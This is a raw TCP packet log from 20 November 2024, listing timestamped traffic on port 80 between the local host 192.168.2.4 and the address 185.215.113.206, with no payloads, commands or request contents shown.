Nov 20, 2024 12:57:41.032881975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032893896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032901049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.032931089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033083916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033094883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033133030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033291101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033301115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033310890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033320904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033332109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033338070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033343077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033354044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033358097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033370972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033376932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033392906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033421993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033735991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033782959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033879995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033890009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033900976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033910990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033921003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033921957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033932924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033943892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033947945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033952951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033962965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033971071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033973932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033982038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.033983946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.033994913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034007072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034014940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034056902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034728050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034738064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034749031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034759045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034769058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034769058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034780025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034790039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034799099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034801006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034817934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034821033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034828901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034840107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034840107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034849882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034861088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034872055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.034878016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.034913063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.035599947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035610914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035621881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035631895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035640955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.035644054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035655022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035665989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035666943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.035676003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035687923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035693884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.035700083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.035712004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.035737991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036151886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036163092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036173105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036184072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036194086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036205053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036211014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036218882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036241055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036248922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036259890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036269903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036279917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036283016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036290884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036298990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036302090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036312103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036324024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.036329985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.036365032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.037141085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037152052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037163019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037173986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037179947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.037184954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037194967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037200928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037206888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.037208080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.037247896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074095964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074110031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074122906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074198008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074232101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074362040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074381113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074383974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074392080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074395895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074430943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074513912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074525118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074536085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074548006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074552059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074558973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074573994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074604034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074909925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074920893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074932098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074940920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074944973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074953079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074963093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074965000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.074974060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074985027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074995995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.074997902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.075016022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.075033903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.075474024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075484991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075495005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075505972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075510979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.075521946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075532913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075536966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.075544119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.075552940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.075597048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.081718922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081729889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081741095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081775904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.081789970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.081835985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081846952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081857920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081868887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.081872940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.081883907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.081913948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.082164049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.082206964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.121751070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121779919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121793985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121901035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.121927023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.121944904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121962070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121973991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121979952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.121984959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.121994019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.121997118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122011900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122028112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122339010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122349977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122360945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122370958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122381926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122381926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122387886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122394085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122406006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122409105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122440100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122898102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122909069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122920036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122931004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122941971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122951984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122960091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122963905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122975111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.122977018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.122992039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123012066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123390913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123405933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123418093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123426914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123428106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123445034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123464108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123465061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123476028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123486996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123497963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123498917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123508930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123522043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123529911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.123532057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.123555899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124216080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124226093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124236107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124252081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124255896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124263048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124274015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124280930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124284029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124296904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124304056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124306917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124317884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124327898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124330044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124340057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124346018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124350071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124361038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.124378920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.124413967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.125178099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125188112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125199080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125210047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125217915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.125221014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125226974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125231981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125241995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125245094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.125252962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125262976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125272989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125274897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.125283957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125293970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125304937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125304937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.125314951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.125323057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.125371933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126094103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126106024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126116037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126127005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126135111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126137018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126147985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126153946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126159906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126171112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126182079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126193047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126194954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126202106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126213074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126224995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126229048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126235962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.126240015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126257896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.126282930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.162710905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162731886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162745953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162766933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162777901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162790060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162801027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.162866116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.162898064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.162993908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163053036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163064957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163077116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163095951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163106918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163110971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163120031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163125038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163130999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163166046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163486004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163499117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163510084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163537025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163551092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163723946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163747072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163758993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163767099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163769960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163781881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163789988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163794994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163806915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163815975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163820982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.163855076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.163867950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.164254904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.164267063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.164279938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.164289951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.164299965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.164328098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.170516968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170527935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170541048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170603991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.170629978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.170639038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170650005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170660973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170670986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.170671940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.170703888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.170730114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.174488068 CET	80	49730	185.215.113.206	192.168.2.4
